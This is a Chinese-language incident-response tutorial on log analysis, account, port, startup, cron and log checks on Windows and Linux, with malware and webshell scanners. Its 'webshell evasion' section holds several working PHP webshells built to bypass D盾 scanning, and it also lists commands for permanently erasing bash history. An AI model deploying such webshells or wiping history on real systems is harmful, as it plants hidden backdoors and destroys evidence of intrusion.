39_应急响应

发布时间:2025-12-09 20:55:14 浏览次数:4

应急响应

一、应急响应第一步

断网

二、web日志分析

现存在这么一个日志文件,localhost_access_log.2021-04-01.txt

1. 想查看访问次数最多的ip

可以使用下面的命令
grep “时间” 代表搜索特定时间的ip
awk 分割,以空格分割,截取第一位
sort -rn 排序
uniq -c 计数
最后再使用sort -rn,将计数排序,就可以看到访问次数最多的ip了

cat localhost_access_log.2021-04-01.txt | grep "01/Apr/2021" | awk '{print $1}' | sort -rn | uniq -c | sort -rn

2. 获取指定ip 访问了哪些页面

比如说获取10.128.185.101访问了哪些页面
可以使用以下命令
grep “10.128.185.101” 指定特定的ip
选取访问的网站,所以awk按照空格分割选第7位
再去掉网站?后面的参数,所以再使用awk 指定?分割选择第1位
然后sort排序
uniq计数
sort最后给计数的排序

cat localhost_access_log.2021-04-01.txt | grep "10.128.185.101" | awk '{print $7}' | awk -F? '{print $1}'| sort -rn | uniq -c | sort -rn

3. 其它的命令

4. 日志分析工具

360星图
(1) 先修改配置文件,日志文件的路径


这里我将localhost_access_log.2021-04-01.txt这个日记文件,复制到这里,并且改名access.txt

(2) 然后以管理员身份运行start.bat
(3) 等待程序自动运行完,自动生成一个result文件夹



三、windows应急响应

1. 检查日志

(1) 日志管理工具

win + r 输入eventvwr.msc,打开日志管理工具

(2) 事件ID

一般重要的几个事件ID
4624 登录成功
4625 登录失败
4720 代表创建新用户
6005 代表开机系统
6006 代表关机系统

(3) 筛选功能

筛选指定的事件ID

(4) LogParserLizard_jb51工具查看
a) 安装工具

一直点下一步就行











b) 工具导入windows日志文件

windows的日志文件一般存放在这里

C:\Windows\System32\winevt\Logs


我们将这将这三种日志文件复制一份,然后创建个目录放进去
系统日志 system.evtx
应用程序日志 application.evtx
安全日志 security.evtx

我这里放在之前创建的那个日志文件的地方
然后LogParserLizard_jb51工具导入

c) 使用工具

点击这里运行,可以看到这个工具的使用跟mssql类似,都有top语法


2. 弱口令

判断操作系统是否存在弱口令,这个可以通过询问网络管理员

3. 检测敏感端口

判断是否存在敏感端口对外开放
我们的一些常见的端口
22 ssh
80 http
3306 mysql
1433 mssql
8080 tomcat
3389 远程登录
等等

4. 隐藏或者克隆账户

以$结尾的用户,使用net user查看不到,之前在权限维持的时候讲过

(1) 使用lusrmgr查看

win + r 输入lusrmgr.msc

(2) 使用D盾

5. 检查可疑文件

(1) 通过端口定位可疑文件

cmd 输入命令 netstat -ano 查看端口
主要看established 状态的,established 状态代表外连的ip

然后通过对应的pid,使用tasklist定位
比如说6444pid,对应的是chrome.exe进程,直接找这个程序的完整路径

(2) 在线查杀

将可疑文件上传到在线杀毒网站

a) virustotal

https://www.virustotal.com/gui/home/upload
这里我准备一个木马文件上传
基本两个以上的爆红,就被认为是病毒文件

b) 微步在线

https://x.threatbook.com/

6. 查看进程

(1) msinfo32

msinfo32查看进程

(2) D盾

D盾查看进程

(3) 火绒剑

火绒剑查看进程

7. 启动项

(1) 任务管理器

任务管理器查看启动项

(2) 注册表

注册表查看启动项

HKEY_CURRENT_USER\software\Microsoft\windows\CurrentVersion\run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce
(3) 火绒剑

8. 服务

(1) 服务查看器

win + r 输入services.msc 打开服务查看器

(2) 火绒剑

也是主要分析这种爆红的,未知文件

9. 计划任务

(1) 任务计划程序

本地搜索任务计划程序

(2) at 或者 schtasks 命令

cmd输入at 或者 schtasks 命令,查看计划任务
at 命令可以在低版本的windows使用

10. 检查系统相关信息

cmd 输入 systeminfo

根据systeminfo 的情况判断有哪些提权的工具可以使用

这有个在线提权的网站
https://i.hacking8.com/tiquan


11. 最近打开的文件

win + r 输入 %UserProfile%\Recent,可以列出最近打开的文件

通过查看最近打开的文件,寻找一些可疑的文件,有可能攻击者没清理干净痕迹,在这里就能看见什么时候,打开了某个木马文件

12. 查询用户

cmd 输入 quser 或者 query user , 查看当前主机登录了哪些用户

13. 病毒查杀软件

下面只是列出几个,还有很多杀软,百度去搜索即可

(1) 卡巴斯基

http://devbuilds.kaspersky-labs.com/devbuilds/KVRT/latest/full/KVRT.exe

(2) 大蜘蛛

https://free.drweb.ru/download+cureit+free

(3) 火绒安全软件

https://www.huorong.cn/

(4) 360杀毒

http://sd.360.cn/download_center.html

14. webshell查杀

(1) D盾_webshell查杀

https://www.d99net.net/index.asp

(2) 河马webshell查杀

https://www.shellpub.com/

(3) 深信服Webshell网站后门检测工具

这个网站好像不见了,可以网上找找别人保存的
https://sec.sangfor.com.cn/download?file=WebShellKillerTool.rar

(4) Safe3

http://www.uusec.com/webshell.zip

(5) 百度webshell查杀

https://scanner.baidu.com/#/pages/intro
https://www.shelldetector.com/

(6) 长亭

https://stack.chaitin.com/security-challenge/webshell/index

(7) 安全狗

https://www.safedog.cn/website_safedog.html

15. webshell免杀

这里我们主要学习绕过D盾就行

D盾,河马,深信服 这几种的都属于静态查杀
而百度和长亭是动态查杀,会运行代码的

所以最难绕过的还是百度和长亭

(1) 封装到类里面

可以看到按照这种写法,D盾扫描不出来,经过测试,发现D盾扫不出这种利用回调函数的,比如call_user_func,但是会扫出利用assert()函数调用,或者利用引用变量函数调用的

下面的几个我就不给出结果了,都是经过测试,没有被扫描到,并且可以运行的

<?phpclass A {private $val;public function __construct($val){$this->val = $val;}public function haha(){return 'ass';}public function haha2(){return 'ert';}public function __destruct(){$a = $this->haha().$this->haha2();call_user_func($a,$this->val);}}$a_obj = new A($_GET[1]);



(2) 反射类调用注释

利用getDocComment方法,读取注释里面的内容

<?php/*** assert*/class A{private $name;private $val;public function __construct($name,$val){$this->name = $name;$this->val = $val;}public function __destruct(){call_user_func($this->name,$this->val);}}$refcls = new ReflectionClass('A');$name = substr($refcls->getDocComment(),8,6);$a = new A($name,$_GET[1]);
(3) 反射类调用命名空间
<?phpnamespace assertHello{class A{private $name;private $val;public function __construct($name, $val){$this->name = $name;$this->val = $val;}public function __destruct(){call_user_func($this->name, $this->val);}}}namespace {$refcls = new ReflectionClass('assertHello\A');$name = substr($refcls->getNamespaceName(), 0, 6);$refcls->newInstance($name,$_GET[1]);}
(4) 反射类调用常量

这个是我自己联想出来的

<?phperror_reporting(0);class A{const FUNCNAME = 'assert';private $name;private $val;public function __construct($name, $val){$this->name = $name;$this->val = $val;}public function __destruct(){call_user_func($this->name, $this->val);}}$refcls = new ReflectionClass('A');$name = $refcls->getConstant(FUNCNAME);$refcls->newInstance($name,$_GET[1]);
(5) 正则替换函数preg_replace

除了call_user_func.也还可以使用preg_replace,或者usort,array_map等,这里其它的写起来可能复杂点,所以我自己试了下preg_replace

<?phperror_reporting(0);class A{private $val;public function __construct($val){$this->val = $val;}public function __destruct(){preg_replace('/test/e',$this->val,"just test!");}}$a = new A($_GET[1]);
(6) 数组

通过使用[] 数组 可以绕过对可变函数调用的限制

<?php$a = 'ass';$a.='ert';array(1,array(2,array(3,array(4,[$a($_GET[1])]))));

16. 情报分析网站

可以将可以ip放到以下的网站去分析,或者某些网站也可以分析可以文件

微步在线: https://x.threatbook.com/绿盟:https://nti.nsfocus.com奇安信: https://ti.qianxin.com安恒: https://ti.dbappsecurity.com.cnhttps://data.websaas.cn360: https://ti.360.cn360移动端:http://appscan.360.cn

四、windows应急响应之病毒案例

1. 勒索病毒

勒索病毒采用的是RSA非对称加密

(1) RSA 非对称加密

RSA 非对称加密
公钥 私钥

普通的client ====> 公钥加密 bihuo.cn ====> xxfdsfsadfsafsafa ===> 发给服务器
攻击者截取到xxfdsfsadfsafsafa 只有公钥 没有私钥 无法解密
服务器 拥有私钥 xxfdsfsadfsafsafa 解密 bihuo.cn

普通的client ===> bihuo.cn 加密数据 ====>xxxxfdsafsaf ====> 服务器

攻击者截取到xxxfdsafsaf 不知道对称的密钥 无法解密

(2) 对称加密

加密和解密使用的是同一个密码

(3) 中间人攻击

攻击者 伪造客户端身份 直接跟服务器通讯 中间人攻击

(4) 如何防御中间人攻击

比如cobalt strike工具登录的时候,有一步会问指纹是否匹配,这就是用来防御中间人攻击

再比如浏览器,会利用受信任的根证书,都是用来防御中间人攻击的

  • 证书过期
  • 证书不可靠
  • (5) 勒索病毒应急响应的流程






    2. 挖矿病毒

    https://mp.weixin.qq.com/s/KfQ8oTJWoG0kMj_FWCSf9w

    五、linux应急响应

    1. 判断是否存在弱口令

    2.判断是否有敏感端口对外开放

    3. linux 是否有新增的用户

    (1) 检查密码文件

    /etc/passwd文件中 最后一项 /bin/bash /bin/sh 代表可以登录的用户

    cat /etc/passwd | grep -E '\/bin\/(bash|sh)'

    通过/etc/shadow 文件 判断用户是否可以登录 查看密码字段 看是否以$1 或者$6作为开头

    cat /etc/shadow | grep -E '\:\$(1|6)'
    (2) 禁用账户

    这里如果发现可疑的用户,直接删除用户的话,用户的文件都会丢失,后面如果发现该用户不是攻击者,会造成很**烦,因此,当发现可疑用户的话,可疑先进行锁定,使之无法登录,然后去查询是否是授权的用户,是的话再解锁

    /etc/shadow文件中,如果第二位密码以!号开头,代表用户被锁住,无法登录

    禁用账户的命令

    usermod -L 用户名


    解锁账户的命令

    usermod -U 用户名


    4. 权限配置错误

    涉及sudo属性
    sudo 当前用户能够在哪些主机下以哪些用户的身份执行特定的代码
    只需要验证当前用户的密码
    %sudo 代表的就是sudo组

    5. 当前用户的登录情况

    使用命令
    w
    uptime
    who

    w 查看当前用户登录情况
    其中 tty 代表本地登录
    pts 代表远程登录

    可以看到当我在windows远程登录kali的时候,在kali里面使用再次使用w命令.对出个pts的,并且给出了windows的也就是远程登陆者的ip

    6. 历史命令

    history
    查看历史记录命令

    清除 history -c
    history -c 只是清除内存中的历史命令,当打开另一个终端的时候,使用history还是可以查看到历史记录命令

    永久清空 rm /home/用户名/.bash_history

    root用户的永久清空 rm /root/.bash_history

    7. 检查端口

    (1) 查看端口

    linux使用 netstat -antlp 查看端口
    主要查看是否外连ip,是否established

    (2) 查找文件

    获取到怀疑的pid ===> ls -al /proc/pid/exe 找到真实执行的文件

    也可以利用ps命令查找出文件的路径
    ps -ef | grep pid 查看对应进程指向的真实的文件

    (3) 将可疑文件上传

    可以利用在virustotal或者微步在线等网站,上传文件,然后分析


    8. 启动项

    不同版本的linux系统启动项保存的位置会有差异
    ubuntu centos redhat

    这里我演示的kali,属于ubuntu

    kali的启动项位置为 /etc/init.d
    只要你怀疑下面的某些文件,就可以无脑上传到在线查杀网站,virustotal或者微步在线

    9. 计划任务

    在linux提权的时候,我们使用过/etc/crontab文件,来发布定时任务提权,
    因此可以查看/etc/crontab文件,看是否被攻击者写入了定时任务

    不光是/etc/crontab 文件,还有一些其它的文件也存在定时任务,并且和/etc/crontab 文件毫不冲突


    cron.d 不同用户可以将自身的计划任务写在该目录下
    cron.daily 代表每天
    cron.hourly 代表每小时
    cron.monthly 代表每月
    coon.weekly 每周

    下面以cron.daily举例,理论上这个目录下的程序每天都会定时的启动

    如果怀疑某个文件,就可以无脑上传在线查杀网站,比如说我上传这个apache2文件

    10. 服务

    只限定redhat系统,输入命令chkconfig查看系统运行级别

    这里举例修改开机启动ssh服务,刚开始可以看到sshd服务的5是启用的,代表图形模式开启自启动

    并且检查端口,22端口开放

    此时我们使用命令chkconfig --level 5 sshd off 关闭sshd的5级别

    重启系统,再次检查端口,22端口关闭,ssh服务在图形模式开机的时候未启动

    11. 隐藏文件

    当文件名以. 作为开头时 此时直接使用dir 或者 ls 并不能列出文件
    必须使用ls -al才行

    12. 日志文件

    通过查看这些日志文件,或许可以发现攻击方遗留的痕迹


    下面介绍几个日志文件

    (1) /var/log/cron

    通过查看 /var/log/cron 可以直到计划任务的执行情况

    (2) /var/log/btmp

    记录错误登录日志
    使用lastb命令查看

    这里我先使用ssh远程登录kali,使用错误的密码登录两次

    可以发现 有两次 ssh:notty 并且 ip都列出来了,那是代表ssh登录失败的
    而上面两个tty代表本地登录失败的

    lastb 可以查看历史登录失败的具体时间 账户 方式

    (3) /var/log/lastlog

    使用lastlog命令查看这个日志文件
    lastlog 就是记录 每一个用户最后一次登录的时间 以及通过何种方式登录

    先使用lastlog查看

    然后我在windows主机上以ssh远程登录kali,再使用lastlog命令
    发现kali用户那一行, 出现了pts,并且给出了登录主机的ip

    (4) /vat/log/wtmp

    这个日志文件永久记录了所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件,可以使用last命令查看
    通过last命令可以查看每一次用户登录的时间 登出的时间

    下面可以看到,我先使用last命令,发现kali这个用户是192.168.11.142主机登录者,并且显示仍在在线,pts代表的是远程登录的用户,这是因为之前,我在windows主机使用ssh远程登录了kali

    当我在windows退出ssh连接后,发现在kali里面再次使用last命令,192.168.11.142主机不在登录,只给出了登录的时间段

    (5) /var/log/utmp

    这个文件记录已经登录的用户信息,可以使用w、who、users等命令查看
    tty代表本地登录,pts代表远程登录

    (6) /var/log/secure

    可以看到详细的登录情况

    当我在redhat系统,故意以root用户登录失败两次,然后成功登录进去后
    通过使用 cat /var/log/secure 这个命令查看这个日志文件,发现,两次登录失败,一次会话成功打开

    既然可以本地登录记录,那么当使用别的主机通过ssh远程登录时候,发现一样被记录,两次故意登录失败,一次登录成功,并且会有sshd标识,代表远程登录的

    13. 杀毒软件

    (1) clamav

    Ubuntu使用下面的命令按照clamav,一定要按照步骤来,中间有失败的命令,但还是要执行一下

    apt-get updatesudo apt-get install clamavsudo apt-get install clamav-daemonsudo freshclamsudo lsof /var/log/clamav/freshclam.logsudo systemctl stop clamav-freshclam.servicesudo freshclamclamscan递归式的扫描/home目录 只打印有问题的文件 将有问题的文件移动到/opt/infected目录下 并将日志写入到clamscan -r -i /home --move=/opt/infected -l /var/log/clamscan.log

    这里安装成功,但是使用命令失败了,知道有这个软件就行

    (2) rootkit 专杀工具chkrootkit

    工具下载地址: http://www.chkrootkit.org/
    可以理解rootkit是一个高级木马

    这里直接使用的是脚本文件

    因为我的kali里面没有rootkit病毒,所以没扫出来

    (3) rkhunter

    工具下载地址: http://rkhunter.sourceforge.net/


    主要查看哪些告警的文件,如果怀疑哪个,就上传到在线查杀网站去

    14. webshell查杀

    参考windows的webshell查杀
    安全狗 d盾 深信服 河马 百度webdir+ 长亭

    15. 在线查杀网站

    VirSCAN:https://www.virscan.orgVirusTotal:https://www.virustotal.comANY.RUN:https://any.runNoDistribute:http://nodistribute.comHybrid Analysis:https://www.hybrid-analysis.com魔盾安全分析:https://www.maldun.com微步在线云沙箱:https://s.threatbook.cn腾讯哈勃分析系统:https://habo.qq.com奇安信威胁情报中心:https://ti.qianxin.com大圣云沙箱检测系统:https://mac-cloud.riskivy.com

    这里主要介绍ANY.RUN这个网站,它的沙盒是实时更新的,并且可以自己生成一个windows环境

    我们自己使用msfvenom生成一个病毒,让它回连10.1.1.8的23331端口,ip都是瞎写的



    可以看到,它检测出了ip和端口

    将ip提交给情报分析平台

    16. 基线扫描工具

    网络安全基线扫描软件主要是扫描操作系统、数据库和网络设备的基本配置参数

    (1) GScan

    直接根据readme里面通过python运行脚本文件即可

    (2) whokk


    直接使用脚本 -h 给出帮助菜单

    每个都可以去试试,下面演示了外连ip的

    17. linux应急响应之病毒案例

    (1) 挖矿病毒








    (2) SSH暴力破解+crontab隐藏后门

    https://mp.weixin.qq.com/s/kvl9WP1jJpoFZ-SO97urmA

    (3) webshell后门

    https://mp.weixin.qq.com/s/fMXI1AaGoaZJzwpY-IIaQQ

    需要做网站?需要网络推广?欢迎咨询客户经理 13272073477